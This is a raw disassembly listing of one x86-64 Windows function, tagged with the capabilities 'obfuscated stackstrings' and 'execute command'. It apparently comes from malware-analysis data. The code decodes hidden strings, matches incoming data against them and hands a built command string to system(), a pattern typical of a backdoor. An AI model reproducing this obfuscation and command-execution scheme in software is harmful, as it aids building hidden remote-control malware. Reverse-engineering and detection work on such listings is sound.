Function at 0x140052780
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x19ae0]
mov eax, 0x19be0
call fcn.14009ae90
sub rsp, rax
mov r13, rcx
xor r15d, r15d
lea rax, [0x1401ccb90]
mov qword [rbp + 0x1e8], rax
lea rax, [0x1401ccc90]
mov qword [rbp + 0x1f0], rax
movdqa xmm0, xmmword [0x1400e7190]
movdqu xmmword [rbp + 0x340], xmm0
movdqa xmm1, xmmword [0x1400e7330]
movdqu xmmword [rbp + 0x350], xmm1
mov dword [rbp + 0x360], 0x1005f5e
lea rcx, [rbp + 0x340]
call fcn.140055470
movzx edx, byte [rbp + 0x19b30]
lea rcx, [rbp + 0x300]
call fcn.14005b300
nop
lea rax, [rbp + 0x340]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140052830
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x300]
call fcn.14005b320
nop
cmp qword [0x1401c9ab0], 0
jne 0x140052884
mov edx, select
lea rcx, [rbp + 0x1180]
call fcn.140051fd0
mov rdx, rax
lea rcx, [0x1401c9aa0]
call fcn.140056780
lea rcx, [rbp + 0x1180]
call fcn.1400588c0
mov edx, select
lea rcx, [rbp + 0x298]
call fcn.140051fd0
nop
lea rax, [rbp + 0x5c0]
mov qword [rbp + 0x320], rax
mov dword [rbp - 0x80], 0x363c3e1e
mov word [rbp - 0x7c], pe_nt_image_headers64
lea rcx, [rbp - 0x80]
call fcn.1400555c0
movzx edx, byte [rbp + 0x19b30]
lea rcx, [rbp + 0x5c0]
call fcn.14005b300
nop
lea rax, [rbp - 0x80]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1400528d5
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x5c0]
call fcn.14005b320
nop
lea rax, [rbp + 0x5e0]
mov qword [rbp + 0x1f8], rax
movzx eax, word [0x1400a1d1c]
xor al, 0x50
mov byte [rbp + 0x19b30], al
mov word [rbp + 0x19b31], pe_nt_image_headers64
lea rcx, [rbp + 0x19b30]
call fcn.140055460
movzx edx, byte [rbp + 0x19b30]
lea rcx, [rbp + 0x5e0]
call fcn.14005b300
nop
lea rax, [rbp + 0x19b30]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140052940
lea rdx, [rbp + 0x19b30]
lea rcx, [rbp + 0x5e0]
call fcn.14005b320
nop
lea rax, [rbp + 0x600]
mov qword [rbp + 0x2d8], rax
mov dword [rbp - 0x7a], 0x363c3e1e
mov word [rbp - 0x76], pe_nt_image_headers64
lea rcx, [rbp - 0x7a]
call fcn.1400555c0
movzx edx, byte [rbp + 0x19b30]
lea rcx, [rbp + 0x600]
call fcn.14005b300
nop
lea rax, [rbp - 0x7a]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400529a0
lea rdx, [rbp - 0x7a]
lea rcx, [rbp + 0x600]
call fcn.14005b320
nop
lea rax, [rbp + 0x12c0]
mov qword [rbp + 0x330], rax
lea rax, [rbp + 0x5a0]
mov qword [rbp - 0x68], rax
mov dword [rbp - 0x74], 0x363c3e1e
mov word [rbp - 0x70], pe_nt_image_headers64
lea rcx, [rbp - 0x74]
call fcn.1400555c0
movzx edx, byte [rbp + 0x19b30]
lea rcx, [rbp + 0x5a0]
call fcn.14005b300
nop
lea rax, [rbp - 0x74]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140052a05
lea rdx, [rbp - 0x74]
lea rcx, [rbp + 0x5a0]
call fcn.14005b320
nop
lea r8, [rbp + 0x5a0]
lea rdx, [rbp + 0x12c0]
lea rcx, [0x1401ccb48]
call fcn.1400451d0
mov rdi, rax
lea rax, [rbp + 0x760]
mov qword [rbp - 0x68], rax
mov dword [rbp + 0x19b38], r15d
lea rdx, [rbp + 0x19b38]
lea rcx, [rbp + 0x760]
call fcn.14005a920
mov r14, rax
lea rax, [rbp + 0x620]
mov qword [rsp + 0x58], rax
mov rbx, qword [rbp + 0x1e8]
movzx edx, byte [rbp + 0x19b30]
lea rcx, [rbp + 0x620]
call fcn.14005b300
nop
mov r8, rsi
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x140052a90
mov rdx, rbx
lea rcx, [rbp + 0x620]
call fcn.14005b320
nop
lea rax, [rbp + 0x640]
mov qword [rsp + 0x50], rax
mov rbx, qword [rbp + 0x1f0]
movzx edx, byte [rbp + 0x19b30]
lea rcx, [rbp + 0x640]
call fcn.14005b300
nop
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x140052ad4
mov rdx, rbx
lea rcx, [rbp + 0x640]
call fcn.14005b320
nop
lea rax, [rbp + 0x5c0]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x5e0]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x600]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
mov byte [rsp + 0x20], 0
mov r9, r14
lea r8, [rbp + 0x620]
lea rdx, [rbp + 0x640]
lea rcx, [rbp + 0xa00]
call fcn.140080ed0
nop
movdqa xmm0, xmmword [0x1400e7160]
movdqu xmmword [rbp + 0x250], xmm0
movdqa xmm1, xmmword [0x1400e7080]
movdqu xmmword [rbp + 0x260], xmm1
mov dword [rbp + 0x270], 0x5c1b0111
mov dword [rbp + 0x274], 0x1041007
mov dword [rbp + 0x278], 0xb540b1d
mov dword [rbp + 0x27c], 0x1000d14
lea rcx, [rbp + 0x250]
call fcn.140055430
movzx edx, byte [rbp + 0x19b30]
lea rcx, [rbp + 0x660]
call fcn.14005b300
nop
lea rax, [rbp + 0x250]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140052bb0
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x660]
call fcn.14005b320
nop
lea r8, [rbp + 0x660]
lea rdx, [rbp + 0x2e0]
lea rcx, [0x1401d0dc0]
call fcn.1400893d0
nop
lea rcx, [rbp + 0x660]
call fcn.1400588c0
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x12e0]
call fcn.140051f20
nop
mov rcx, rax
call fcn.1400588b0
mov edx, 0x15b3
mov rcx, rax
call fcn.1400524d0
mov r14, rax
lea rcx, [rbp + 0x12e0]
call fcn.140058840
nop
xor edx, edx
lea rcx, [rsp + 0x60]
call fcn.1400585d0
mov dl, 1
lea rcx, [rsp + 0x60]
call fcn.140058790
nop
lea rcx, [0x1401d0dc0]
call fcn.14008af10
lea rax, [rbp + 0x770]
mov qword [rsp + 0x50], rax
lea rcx, [rbp + 0x1320]
call fcn.140051510
nop
mov rdx, rax
lea rcx, [rbp + 0x770]
call fcn.14005a9c0
mov rbx, rax
mov dword [rbp + 0x19b28], 0x1002139
lea rcx, [rbp + 0x19b28]
call fcn.140055400
lea rdx, [rbp + 0x19b28]
lea rcx, [rbp + 0x1300]
call fcn.140056940
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.140055ef0
mov rcx, rax
mov rdx, rbx
call fcn.140056360
nop
lea rcx, [rbp + 0x1320]
call fcn.1400588c0
lea rcx, [0x1401d0dc0]
call fcn.14008af10
lea rax, [rbp + 0x780]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x780]
call fcn.14005aa40
mov rbx, rax
mov dword [rbp + 0x58], 0x21372225
mov dword [rbp + 0x5c], 0x323b343a
mov word [rbp + 0x60], pe_nt_image_headers64
lea rcx, [rbp + 0x58]
call fcn.1400553d0
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x1340]
call fcn.140056940
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.140055ef0
mov rcx, rax
mov rdx, rbx
call fcn.140056360
lea rax, [rbp + 0x790]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x790]
call fcn.14005aa40
mov rbx, rax
mov dword [rbp + 0x62], 0x20213020
mov dword [rbp + 0x66], 0x33243a23
mov word [rbp + 0x6a], pe_nt_image_headers64
lea rcx, [rbp + 0x62]
call fcn.1400553d0
lea rdx, [rbp + 0x62]
lea rcx, [rbp + 0x1360]
call fcn.140056940
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.140055ef0
mov rcx, rax
mov rdx, rbx
call fcn.140056360
lea rax, [rbp + 0x7a0]
mov qword [rsp + 0x50], rax
lea rcx, [rbp + 0x960]
call fcn.140080330
nop
lea rdx, [rbp + 0x960]
lea rcx, [rbp + 0x7a0]
call fcn.14005a9c0
mov rbx, rax
mov dword [rbp - 0x51], 0x373b2638
mov word [rbp - 0x4d], pe_nt_image_headers64
lea rcx, [rbp - 0x51]
call fcn.1400555c0
lea rdx, [rbp - 0x51]
lea rcx, [rbp + 0x1380]
call fcn.140056940
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.140055ef0
mov rcx, rax
mov rdx, rbx
call fcn.140056360
nop
lea rcx, [rbp + 0x960]
call fcn.1400588c0
lea rax, [rbp + 0x540]
mov qword [rsp + 0x50], rax
mov dword [rbp - 0x60], 0x667f62
mov byte [rbp - 0x5c], 1
lea rcx, [rbp - 0x60]
call fcn.1400553a0
lea rax, [rbp - 0x60]
mov qword [rbp + 0x338], rax
lea rdx, [rbp + 0x338]
lea rcx, [rbp + 0x540]
call fcn.14005aa40
mov rbx, rax
mov dword [rbp + 0xa], 0x20203426
mov dword [rbp + 0xe], 0x383a3d
mov byte [rbp + 0x12], 1
lea rcx, [rbp + 0xa]
call fcn.140055530
lea rdx, [rbp + 0xa]
lea rcx, [rbp + 0xb20]
call fcn.140056940
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.140055ef0
mov rcx, rax
mov rdx, rbx
call fcn.140056360
lea rax, [rbp + 0x550]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x298]
lea rcx, [rbp + 0xb40]
call fcn.140056980
mov r8, rax
lea rdx, [rbp + 0xb80]
lea rcx, [0x1401ccb48]
call fcn.1400451d0
nop
mov rdx, rax
lea rcx, [rbp + 0x550]
call fcn.14005a9c0
mov rbx, rax
mov dword [rbp + 0x76], 0x36393e24
mov dword [rbp + 0x7a], 0x323d0a3a
mov word [rbp + 0x7e], 0x21
mov byte [rbp + 0x80], 1
lea rcx, [rbp + 0x76]
call fcn.1400554a0
lea rdx, [rbp + 0x76]
lea rcx, [rbp + 0xb60]
call fcn.140056940
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.140055ef0
mov rcx, rax
mov rdx, rbx
call fcn.140056360
nop
lea rcx, [rbp + 0xb80]
call fcn.1400588c0
mov dword [rsp + 0x28], r15d
mov byte [rsp + 0x20], 0
mov r9b, 0x20
mov r8d, esi
lea rdx, [rbp + 0xba0]
lea rcx, [rsp + 0x60]
call fcn.1400560c0
mov r8, rax
lea rdx, [rbp + 0x2b8]
lea rcx, [0x1401ccb48]
call fcn.1400451d0
nop
lea rcx, [rsp + 0x60]
call fcn.140055ce0
mov dword [rbp + 0x168], 0x56225607
mov dword [rbp + 0x16c], 0x560c5660
mov dword [rbp + 0x170], 0x56675667
mov dword [rbp + 0x174], 0x56335678
mov dword [rbp + 0x178], 0x56355634
mov word [rbp + 0x17c], r15w
mov byte [rbp + 0x17e], 1
lea rcx, [rbp + 0x168]
call fcn.140055500
lea rdx, [rbp + 0x168]
lea rcx, [0x1401d0dc0]
call fcn.140088460
test rax, rax
jne 0x140053029
mov dword [rbp + 0xb1], 0xc602207
mov dword [rbp + 0xb5], 0x33786767
mov dword [rbp + 0xb9], 0x1003534
lea rcx, [rbp + 0xb1]
call fcn.1400554d0
lea rdx, [rbp + 0xb1]
lea rcx, [0x1401d0dc0]
call fcn.1400883c0
mov dword [rbp - 0x4b], 0x373c3423
mov word [rbp - 0x47], pe_nt_image_headers64
lea rcx, [rbp - 0x4b]
call fcn.1400555c0
mov dword [rbp + 0xa5], 0xc602207
mov dword [rbp + 0xa9], 0x33786767
mov dword [rbp + 0xad], 0x1003534
lea rcx, [rbp + 0xa5]
call fcn.1400554d0
lea rdx, [rbp - 0x4b]
lea rcx, [rbp + 0xa5]
call fcn.1400457d0
mov rdi, rax
mov ebx, dword [rbp + 0x2c8]
lea rcx, [rbp + 0x2b8]
call fcn.1400566e0
xor r9d, r9d
mov r8d, ebx
mov rdx, rax
mov rcx, r14
call rdi
movzx edx, byte [rbp + 0x19b30]
lea rcx, [rbp + 0x128]
call fcn.14005b300
lea rcx, [rbp + 0x128]
call fcn.140058920
nop
nop dword [rax]
mov dword [rbp - 0x45], 0x25313422
mov word [rbp - 0x41], pe_nt_image_headers64
lea rcx, [rbp - 0x45]
call fcn.1400555c0
mov dword [rbp + 0x99], 0xc602207
mov dword [rbp + 0x9d], 0x33786767
mov dword [rbp + 0xa1], 0x1003534
lea rcx, [rbp + 0x99]
call fcn.1400554d0
lea rdx, [rbp - 0x45]
lea rcx, [rbp + 0x99]
call fcn.1400457d0
xor r9d, r9d
mov r8d, 0x1869f
lea rdx, [rbp + 0x1440]
mov rcx, r14
call rax
test eax, eax
jle 0x1400530c0
lea rdx, [rbp + 0x1440]
lea rcx, [rbp + 0xbc0]
call fcn.140056940
mov r8, rax
lea rdx, [rbp + 0xbe0]
lea rcx, [0x1401ccb48]
call fcn.1400452a0
mov rdx, rax
lea rcx, [rbp + 0x128]
call fcn.140056780
lea rcx, [rbp + 0xbe0]
call fcn.1400588c0
lea rax, [rbp + 0x680]
mov qword [rsp + 0x50], rax
movdqa xmm0, xmmword [0x1400e70d0]
movdqu xmmword [rbp + 0x1c9], xmm0
mov dword [rbp + 0x1d9], 0x6110005
mov dword [rbp + 0x1dd], 0x484b4a
mov byte [rbp + 0x1e1], 1
lea rcx, [rbp + 0x1c9]
call fcn.140055370
movzx edx, byte [rbp + 0x19b30]
lea rcx, [rbp + 0x680]
call fcn.14005b300
nop
lea rax, [rbp + 0x1c9]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400531d0
lea rdx, [rbp + 0x1c9]
lea rcx, [rbp + 0x680]
call fcn.14005b320
nop
lea r8, [rbp + 0x680]
lea rdx, [rbp + 0xc00]
lea rcx, [0x1401ccb48]
call fcn.1400451d0
mov rcx, rax
call fcn.1400566e0
mov r8, rax
mov edx, 0x1869f
lea rcx, [rbp + 0x1440]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea rcx, [rbp + 0xc00]
call fcn.1400588c0
mov dword [rbp + 0x8d], 0x3a363638
mov dword [rbp + 0x91], 0x27263927
mov dword [rbp + 0x95], 0x1003d39
lea rcx, [rbp + 0x8d]
call fcn.1400554d0
lea rdx, [rbp + 0x8d]
lea rcx, [rbp + 0x128]
call fcn.14005aae0
test al, al
je 0x1400534b1
mov dword [rbp + 0x13], 0x3c213814
mov dword [rbp + 0x17], 0x322737
mov byte [rbp + 0x1b], 1
lea rcx, [rbp + 0x13]
call fcn.140055530
movdqa xmm0, xmmword [0x1400e71a0]
movdqu xmmword [rbp + 0x7b0], xmm0
movdqa xmm1, xmmword [0x1400e6cc0]
movdqu xmmword [rbp + 0x7c0], xmm1
movdqa xmm0, xmmword [0x1400e6e40]
movdqu xmmword [rbp + 0x7d0], xmm0
movdqa xmm1, xmmword [0x1400e7590]
movdqu xmmword [rbp + 0x7e0], xmm1
movdqa xmm0, xmmword [0x1400e7640]
movdqu xmmword [rbp + 0x7f0], xmm0
movdqa xmm1, xmmword [0x1400e7600]
movdqu xmmword [rbp + 0x800], xmm1
movdqa xmm0, xmmword [0x1400e74f0]
movdqu xmmword [rbp + 0x810], xmm0
movdqa xmm1, xmmword [0x1400e7630]
movdqu xmmword [rbp + 0x820], xmm1
movdqa xmm0, xmmword [0x1400e75a0]
movdqu xmmword [rbp + 0x830], xmm0
movdqa xmm1, xmmword [0x1400e7520]
movdqu xmmword [rbp + 0x840], xmm1
movdqa xmm0, xmmword [0x1400e7510]
movdqu xmmword [rbp + 0x850], xmm0
movdqa xmm1, xmmword [str.r_cmqnnfnn_k__a6_f__j__n_Ypby_7]
movdqu xmmword [rbp + 0x860], xmm1
movdqa xmm0, xmmword [0x1400e7480]
movdqu xmmword [rbp + 0x870], xmm0
movdqa xmm1, xmmword [0x1400e7490]
movdqu xmmword [rbp + 0x880], xmm1
movdqa xmm0, xmmword [0x1400e7410]
movdqu xmmword [rbp + 0x890], xmm0
movdqa xmm1, xmmword [0x1400e6f70]
movdqu xmmword [rbp + 0x8a0], xmm1
movdqa xmm0, xmmword [str._r_1:26y9284_]
movdqu xmmword [rbp + 0x8b0], xmm0
movdqa xmm1, xmmword [0x1400e73d0]
movdqu xmmword [rbp + 0x8c0], xmm1
movdqa xmm0, xmmword [0x1400e7420]
movdqu xmmword [rbp + 0x8d0], xmm0
movdqa xmm1, xmmword [0x1400e7620]
movdqu xmmword [rbp + 0x8e0], xmm1
movdqa xmm0, xmmword [0x1400e76c0]
movdqu xmmword [rbp + 0x8f0], xmm0
movdqa xmm1, xmmword [0x1400e7500]
movdqu xmmword [rbp + 0x900], xmm1
movdqa xmm0, xmmword [0x1400e7610]
movdqu xmmword [rbp + 0x910], xmm0
movdqa xmm1, xmmword [0x1400e7540]
movdqu xmmword [rbp + 0x920], xmm1
mov dword [rbp + 0x930], 0xf3b3f1a2
mov dword [rbp + 0x934], 0xbebbb1b5
mov dword [rbp + 0x938], 0x100f7b6
lea rcx, [rbp + 0x7b0]
call fcn.140055340
mov r9d, select
lea r8, [rbp + 0x13]
lea rdx, [rbp + 0x7b0]
lea rcx, [0x1401d0dc0]
call fcn.140088500
xor edx, edx
lea rcx, [rbp + 0x128]
call fcn.140058940
lea rdx, [rbp + 0xa00]
mov rcx, r13
call fcn.140054f20
nop
lea rcx, [rbp + 0x128]
call fcn.1400588c0
nop
lea rcx, [rbp + 0x2b8]
call fcn.1400588c0
nop
xor edx, edx
lea rcx, [rsp + 0x60]
call fcn.140058790
movzx edx, byte [rsp + 0x60]
lea rcx, [rsp + 0x68]
call fcn.140057ff0
nop
jmp 0x140054ceb
mov dword [rbp - 0x38], 0x32362125
mov dword [rbp - 0x34], 0x1003020
lea rcx, [rbp - 0x38]
call fcn.140055310
xor r8d, r8d
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0x128]
call fcn.1400564a0
test rax, rax
je 0x1400536c2
xor edx, edx
lea rcx, [rbp + 0x1a0]
call fcn.1400585d0
mov dl, 1
lea rcx, [rbp + 0x1a0]
call fcn.140058790
nop
mov qword [rbp + 0x1418], r15
mov byte [rsp + 0x20], 0
mov r9b, 1
lea r8, [rbp + 0x13e0]
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x560]
call fcn.14005a660
mov rdx, rax
lea rcx, [rbp + 0x1a0]
call fcn.140056360
mov dword [rbp - 0x5b], 0x3e2325
mov byte [rbp - 0x57], 1
lea rcx, [rbp - 0x5b]
call fcn.1400553a0
lea rax, [rbp - 0x5b]
mov qword [rbp + 0x328], rax
lea r8, [rbp + 0x328]
lea rdx, [rbp + 0x1420]
lea rcx, [rbp + 0x1a0]
call fcn.14005ab30
mov rbx, rax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x980]
call fcn.140058460
lea rcx, [rbp + 0x980]
call fcn.1400583b0
lea rdx, [rbp + 0x980]
mov rcx, rbx
call fcn.1400621c0
test al, al
jne 0x1400536a0
mov dword [rbp - 0x56], 0x3e2325
mov byte [rbp - 0x52], 1
lea rcx, [rbp - 0x56]
call fcn.1400553a0
lea rdx, [rbp - 0x56]
lea rcx, [rbp + 0x1a0]
call fcn.14005a970
lea rdx, [rbp + 0x6c0]
mov rcx, rax
call fcn.14005a870
nop
movaps xmm0, xmmword [0x1401d0dc0]
movaps xmmword [rbp + 0xae0], xmm0
movaps xmm1, xmmword [0x1401d0dd0]
movaps xmmword [rbp + 0xaf0], xmm1
movaps xmm0, xmmword [0x1401d0de0]
movaps xmmword [rbp + 0xb00], xmm0
movaps xmm1, xmmword [0x1401d0df0]
movaps xmmword [rbp + 0xb10], xmm1
mov dword [rbp - 0x30], 0x21332523
mov dword [rbp - 0x2c], 0x1007520
lea rcx, [rbp - 0x30]
call fcn.140055310
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x6a0]
call fcn.140056940
nop
mov rbx, qword [rbp + 0x6d0]
lea rcx, [rbp + 0x6c0]
call fcn.1400566e0
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x6a0]
call fcn.140058ad0
lea rcx, [rbp + 0x6a0]
call fcn.1400566e0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xae0]
call fcn.1400886c0
nop
lea rcx, [rbp + 0x6a0]
call fcn.1400588c0
nop
lea rcx, [rbp + 0x6c0]
call fcn.1400588c0
nop
xor edx, edx
lea rcx, [rbp + 0x1a0]
call fcn.140058790
movzx edx, byte [rbp + 0x1a0]
lea rcx, [rbp + 0x1a8]
call fcn.140057ff0
nop
mov dword [rbp + 0x1c], 0x32243f39
mov dword [rbp + 0x20], 0x323c38
mov byte [rbp + 0x24], 1
lea rcx, [rbp + 0x1c]
call fcn.140055530
xor r8d, r8d
lea rdx, [rbp + 0x1c]
lea rcx, [rbp + 0x128]
call fcn.1400564a0
cmp rax, 0xffffffffffffffff
jne 0x140054bf1
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.1400585d0
mov dl, 1
lea rcx, [rsp + 0x70]
call fcn.140058790
nop
mov qword [rbp + 0x13d8], r15
mov byte [rsp + 0x20], 0
mov r9b, 1
lea r8, [rbp + 0x13a0]
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x570]
call fcn.14005a660
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.140056360
xor edx, edx
lea rcx, [rbp + 0x128]
call fcn.140058940
lea rax, [rbp + 0x6e0]
mov qword [rsp + 0x50], rax
movdqa xmm0, xmmword [0x1400e70d0]
movdqu xmmword [rbp + 0x1b0], xmm0
mov dword [rbp + 0x1c0], 0x6110005
mov dword [rbp + 0x1c4], 0x484b4a
mov byte [rbp + 0x1c8], 1
lea rcx, [rbp + 0x1b0]
call fcn.140055370
movzx edx, byte [rbp + 0x19b30]
lea rcx, [rbp + 0x6e0]
call fcn.14005b300
nop
lea rax, [rbp + 0x1b0]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400537c0
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x6e0]
call fcn.14005b320
nop
lea r8, [rbp + 0x6e0]
lea rdx, [rbp + 0xc20]
lea rcx, [0x1401ccb48]
call fcn.1400451d0
mov rdx, rax
lea rcx, [rbp + 0x128]
call fcn.140056780
lea rcx, [rbp + 0xc20]
call fcn.1400588c0
movzx edx, byte [rbp + 0x19b30]
lea rcx, [rbp + 0x108]
call fcn.14005b300
lea rcx, [rbp + 0x108]
call fcn.140058920
nop
lea rax, [rbp + 0xc40]
mov qword [rsp + 0x50], rax
lea rdx, [0x1401c9aa0]
lea rcx, [rbp + 0xc40]
call fcn.140056980
mov rbx, rax
mov dword [rsp + 0x28], r15d
mov byte [rsp + 0x20], 0
mov r9b, 0x20
mov r8d, esi
lea rdx, [rbp + 0xc60]
lea rcx, [rsp + 0x70]
call fcn.1400560c0
nop
mov r9, rbx
mov r8, rax
lea rdx, [rbp + 0xc80]
lea rcx, [0x1401ccb48]
call fcn.140045370
mov rdx, rax
lea rcx, [rbp + 0x108]
call fcn.140056780
lea rcx, [rbp + 0xc80]
call fcn.1400588c0
lea rax, [rbp + 0xca0]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x298]
lea rcx, [rbp + 0xca0]
call fcn.140056980
mov rbx, rax
mov dword [rbp - 0x3f], 0x36393e24
mov word [rbp - 0x3b], 0x3a
mov byte [rbp - 0x39], 1
lea rcx, [rbp - 0x3f]
call fcn.1400552e0
lea rdx, [rbp - 0x3f]
lea rcx, [rbp + 0xcc0]
call fcn.140056940
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.140055ef0
lea rdx, [rbp + 0x9a0]
mov rcx, rax
call fcn.14005a870
nop
mov r9, rbx
lea r8, [rbp + 0x9a0]
lea rdx, [rbp + 0xce0]
lea rcx, [0x1401ccb48]
call fcn.140045370
mov r8, rax
lea rdx, [rbp + 0x148]
lea rcx, [0x1401ccb48]
call fcn.1400451d0
nop
lea rcx, [rsp + 0x70]
call fcn.140055ce0
lea rax, [rbp + 0x700]
mov qword [rsp + 0x50], rax
mov dword [rbp + 0x49], 0x2633732b
mov dword [rbp + 0x4d], 0x6d743d20
mov dword [rbp + 0x51], 0x7911167a
mov word [rbp + 0x55], 0x21
mov byte [rbp + 0x57], 1
lea rcx, [rbp + 0x49]
call fcn.1400555f0
movzx edx, byte [rbp + 0x19b30]
lea rcx, [rbp + 0x700]
call fcn.14005b300
nop
lea rax, [rbp + 0x49]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1400539a1
lea rdx, [rbp + 0x49]
lea rcx, [rbp + 0x700]
call fcn.14005b320
nop
lea r8, [rbp + 0x700]
lea rdx, [rbp + 0xd00]
lea rcx, [0x1401ccb48]
call fcn.1400451d0
nop
mov rdx, rax
lea rcx, [rbp + 0x580]
call fcn.14005a9c0
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.140056360
nop
lea rcx, [rbp + 0xd00]
call fcn.1400588c0
mov dword [rbp + 0x25], 0x32243f39
mov dword [rbp + 0x29], 0x323c38
mov byte [rbp + 0x2d], 1
lea rcx, [rbp + 0x25]
call fcn.140055530
lea rax, [rbp + 0xd20]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0xd20]
call fcn.140056980
mov rbx, rax
lea rax, [rbp + 0x720]
mov qword [rsp + 0x58], rax
mov dword [rbp - 3], 0x30333d32
mov dword [rbp + 1], 0x243f393f
mov dword [rbp + 5], 0x3e3c2c
mov byte [rbp + 9], 1
lea rcx, [rbp - 3]
call fcn.1400552b0
movzx edx, byte [rbp + 0x19b30]
lea rcx, [rbp + 0x720]
call fcn.14005b300
nop
lea rax, [rbp - 3]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140053a86
lea rdx, [rbp - 3]
lea rcx, [rbp + 0x720]
call fcn.14005b320
nop
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0xd40]
call fcn.140056980
nop
mov r9, rbx
lea r8, [rbp + 0x720]
mov rdx, rax
lea rcx, [rbp + 0xd60]
call fcn.1400521a0
lea rdx, [rbp + 0x25]
mov rcx, rax
call fcn.14005aae0
movzx ebx, al
lea rcx, [rbp + 0xd60]
call fcn.1400588c0
test bl, bl
je 0x140053c27
movdqa xmm0, xmmword [0x1400e6be0]
movdqu xmmword [rbp + 0x38a], xmm0
mov byte [rbp + 0x39a], 1
lea rcx, [rbp + 0x38a]
call fcn.140055250
movdqa xmm0, xmmword [0x1400e6ff0]
movdqu xmmword [rbp + 0x3f0], xmm0
movdqa xmm1, xmmword [0x1400e6ef0]
movdqu xmmword [rbp + 0x400], xmm1
movdqa xmm0, xmmword [0x1400e6e10]
movdqu xmmword [rbp + 0x410], xmm0
movdqa xmm1, xmmword [0x1400e7660]
movdqu xmmword [rbp + 0x420], xmm1
mov dword [rbp + 0x430], 0xe0f7e3b0
mov dword [rbp + 0x434], 0xb8e1f1
mov byte [rbp + 0x438], 1
lea rcx, [rbp + 0x3f0]
call fcn.140055280
xor r9d, r9d
lea r8, [rbp + 0x38a]
lea rdx, [rbp + 0x3f0]
lea rcx, [0x1401d0dc0]
call fcn.140088500
xor edx, edx
lea rcx, [rbp + 0x108]
call fcn.140058940
lea rdx, [rbp + 0xa00]
mov rcx, r13
call fcn.140054f20
nop
lea rcx, [rbp + 0x148]
call fcn.1400588c0
nop
lea rcx, [rbp + 0x108]
call fcn.1400588c0
nop
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.140058790
movzx edx, byte [rsp + 0x70]
lea rcx, [rsp + 0x78]
call fcn.140057ff0
nop
lea rcx, [rbp + 0x128]
call fcn.1400588c0
nop
lea rcx, [rbp + 0x2b8]
call fcn.1400588c0
nop
xor edx, edx
lea rcx, [rsp + 0x60]
call fcn.140058790
movzx edx, byte [rsp + 0x60]
lea rcx, [rsp + 0x68]
call fcn.140057ff0
nop
jmp 0x140054ceb
mov dword [rbp - 0x28], 0x3d3c3012
mov dword [rbp - 0x24], 0x1003131
lea rcx, [rbp - 0x28]
call fcn.140055310
lea rax, [rbp + 0xd80]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0xd80]
call fcn.140056980
mov rbx, rax
lea rax, [rbp + 0x740]
mov qword [rsp + 0x58], rax
mov dword [rbp - 0x10], 0x30333d32
mov dword [rbp - 0xc], 0x243f393f
mov dword [rbp - 8], 0x3e3c2c
mov byte [rbp - 4], 1
lea rcx, [rbp - 0x10]
call fcn.1400552b0
movzx edx, byte [rbp + 0x19b30]
lea rcx, [rbp + 0x740]
call fcn.14005b300
nop
lea rax, [rbp - 0x10]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140053ca6
mov r8, rsi
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x740]
call fcn.14005b320
nop
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0xda0]
call fcn.140056980
nop
mov r9, rbx
lea r8, [rbp + 0x740]
mov rdx, rax
lea rcx, [rbp + 0xdc0]
call fcn.1400521a0
